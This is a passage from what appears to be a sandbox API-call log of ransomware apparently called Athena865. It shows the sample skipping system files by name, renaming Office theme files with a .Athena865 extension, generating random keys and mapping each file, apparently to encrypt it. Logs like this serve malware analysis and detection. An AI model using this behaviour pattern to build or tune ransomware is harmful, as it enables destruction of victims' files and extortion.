(lpString="Perspective.thmx") returned 16 [0065.993] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.Athena865") returned 79 [0065.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.athena865"), dwFlags=0x1) returned 1 [0065.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.995] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=53594) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.995] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.996] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.996] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.996] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd460, lpName=0x0) returned 0x17c [0065.998] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd460) returned 0x100000 [0066.000] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.001] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.001] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.002] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2=".") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="..") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="windows") returned -1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="bootmgr") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="temp") returned -1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="pagefile.sys") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="boot") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="ids.txt") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="ntuser.dat") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="perflogs") returned 1 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2="MSBuild") returned 1 [0066.002] lstrlenW (lpString="Pushpin.thmx") returned 12 [0066.002] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Pushpin.thmx" | out: lpString1="Pushpin.thmx") returned="Pushpin.thmx" [0066.002] lstrlenW (lpString="Pushpin.thmx") returned 12 [0066.002] lstrlenW (lpString="Athena865") returned 9 [0066.002] lstrcmpiW (lpString1="hpin.thmx", lpString2="Athena865") returned 1 [0066.002] lstrlenW (lpString=".dll") returned 4 [0066.002] lstrcmpiW (lpString1="Pushpin.thmx", lpString2=".dll") returned 1 [0066.002] lstrlenW (lpString=".lnk") returned 4 [0066.003] lstrcmpiW (lpString1="Pushpin.thmx", lpString2=".lnk") returned 1 [0066.003] lstrlenW (lpString=".ini") returned 4 [0066.003] lstrcmpiW (lpString1="Pushpin.thmx", lpString2=".ini") returned 1 [0066.003] lstrlenW (lpString=".sys") returned 4 [0066.003] lstrcmpiW (lpString1="Pushpin.thmx", lpString2=".sys") returned 1 [0066.003] lstrlenW (lpString="Pushpin.thmx") returned 12 [0066.003] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.Athena865") returned 75 [0066.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.athena865"), dwFlags=0x1) returned 1 [0066.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.004] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=825294) returned 1 [0066.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.004] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.005] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.005] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.005] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc9ad0, lpName=0x0) returned 0x17c [0066.007] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc9ad0) returned 0x2d50000 [0066.034] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.035] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.035] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.045] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0066.045] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.045] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2=".") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="..") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="windows") returned -1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="bootmgr") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="temp") returned -1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="pagefile.sys") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="boot") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="ids.txt") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="ntuser.dat") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="perflogs") returned 1 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2="MSBuild") returned 1 [0066.046] lstrlenW (lpString="Slipstream.thmx") returned 15 [0066.046] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Slipstream.thmx" | out: lpString1="Slipstream.thmx") returned="Slipstream.thmx" [0066.046] lstrlenW (lpString="Slipstream.thmx") returned 15 [0066.046] lstrlenW (lpString="Athena865") returned 9 [0066.046] lstrcmpiW (lpString1="ream.thmx", lpString2="Athena865") returned 1 [0066.046] lstrlenW (lpString=".dll") returned 4 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2=".dll") returned 1 [0066.046] lstrlenW (lpString=".lnk") returned 4 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2=".lnk") returned 1 [0066.046] lstrlenW (lpString=".ini") returned 4 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2=".ini") returned 1 [0066.046] lstrlenW (lpString=".sys") returned 4 [0066.046] lstrcmpiW (lpString1="Slipstream.thmx", lpString2=".sys") returned 1 [0066.046] lstrlenW (lpString="Slipstream.thmx") returned 15 [0066.046] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.Athena865") returned 78 [0066.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.athena865"), dwFlags=0x1) returned 1 [0066.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.048] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67304) returned 1 [0066.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.049] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.049] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.049] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.049] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x109f0, lpName=0x0) returned 0x17c [0066.051] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x109f0) returned 0x100000 [0066.054] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.055] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.055] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.056] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2=".") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="..") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="windows") returned -1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="bootmgr") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="temp") returned -1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="pagefile.sys") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="boot") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="ids.txt") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="ntuser.dat") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="perflogs") returned 1 [0066.056] lstrcmpiW (lpString1="Solstice.thmx", lpString2="MSBuild") returned 1 [0066.056] lstrlenW (lpString="Solstice.thmx") returned 13 [0066.057] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Solstice.thmx" | out: lpString1="Solstice.thmx") returned="Solstice.thmx" [0066.057] lstrlenW (lpString="Solstice.thmx") returned 13 [0066.057] lstrlenW (lpString="Athena865") returned 9 [0066.057] lstrcmpiW (lpString1="tice.thmx", lpString2="Athena865") returned 1 [0066.057] lstrlenW (lpString=".dll") returned 4 [0066.057] lstrcmpiW (lpString1="Solstice.thmx", lpString2=".dll") returned 1 [0066.057] lstrlenW (lpString=".lnk") returned 4 [0066.057] lstrcmpiW (lpString1="Solstice.thmx", lpString2=".lnk") returned 1 [0066.057] lstrlenW (lpString=".ini") returned 4 [0066.057] lstrcmpiW (lpString1="Solstice.thmx", lpString2=".ini") returned 1 [0066.057] lstrlenW (lpString=".sys") returned 4 [0066.057] lstrcmpiW (lpString1="Solstice.thmx", lpString2=".sys") returned 1 [0066.057] lstrlenW (lpString="Solstice.thmx") returned 13 [0066.057] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.Athena865") returned 76 [0066.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.athena865"), dwFlags=0x1) returned 1 [0066.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.058] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=74912) returned 1 [0066.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.059] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.059] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.059] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.060] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x127a0, lpName=0x0) returned 0x17c [0066.061] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x127a0) returned 0x100000 [0066.065] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.065] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.065] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.067] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2=".") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="..") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="windows") returned -1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="bootmgr") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="temp") returned -1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="pagefile.sys") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="boot") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="ids.txt") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="ntuser.dat") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="perflogs") returned 1 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2="MSBuild") returned 1 [0066.067] lstrlenW (lpString="Technic.thmx") returned 12 [0066.067] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Technic.thmx" | out: lpString1="Technic.thmx") returned="Technic.thmx" [0066.067] lstrlenW (lpString="Technic.thmx") returned 12 [0066.067] lstrlenW (lpString="Athena865") returned 9 [0066.067] lstrcmpiW (lpString1="hnic.thmx", lpString2="Athena865") returned 1 [0066.067] lstrlenW (lpString=".dll") returned 4 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2=".dll") returned 1 [0066.067] lstrlenW (lpString=".lnk") returned 4 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2=".lnk") returned 1 [0066.067] lstrlenW (lpString=".ini") returned 4 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2=".ini") returned 1 [0066.067] lstrlenW (lpString=".sys") returned 4 [0066.067] lstrcmpiW (lpString1="Technic.thmx", lpString2=".sys") returned 1 [0066.067] lstrlenW (lpString="Technic.thmx") returned 12 [0066.067] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.Athena865") returned 75 [0066.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.athena865"), dwFlags=0x1) returned 1 [0066.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.069] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68995) returned 1 [0066.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.070] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.071] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.072] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.072] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11090, lpName=0x0) returned 0x17c [0066.073] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11090) returned 0x100000 [0066.076] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.077] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.077] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.078] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2=".") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="..") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="windows") returned -1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="bootmgr") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="temp") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="pagefile.sys") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="boot") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="ids.txt") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="ntuser.dat") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="perflogs") returned 1 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2="MSBuild") returned 1 [0066.078] lstrlenW (lpString="Thatch.thmx") returned 11 [0066.078] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Thatch.thmx" | out: lpString1="Thatch.thmx") returned="Thatch.thmx" [0066.078] lstrlenW (lpString="Thatch.thmx") returned 11 [0066.078] lstrlenW (lpString="Athena865") returned 9 [0066.078] lstrcmpiW (lpString1="atch.thmx", lpString2="Athena865") returned -1 [0066.078] lstrlenW (lpString=".dll") returned 4 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2=".dll") returned 1 [0066.078] lstrlenW (lpString=".lnk") returned 4 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2=".lnk") returned 1 [0066.078] lstrlenW (lpString=".ini") returned 4 [0066.078] lstrcmpiW (lpString1="Thatch.thmx", lpString2=".ini") returned 1 [0066.078] lstrlenW (lpString=".sys") returned 4 [0066.079] lstrcmpiW (lpString1="Thatch.thmx", lpString2=".sys") returned 1 [0066.079] lstrlenW (lpString="Thatch.thmx") returned 11 [0066.079] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.Athena865") returned 74 [0066.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.athena865"), dwFlags=0x1) returned 1 [0066.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.080] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=89461) returned 1 [0066.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.080] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, 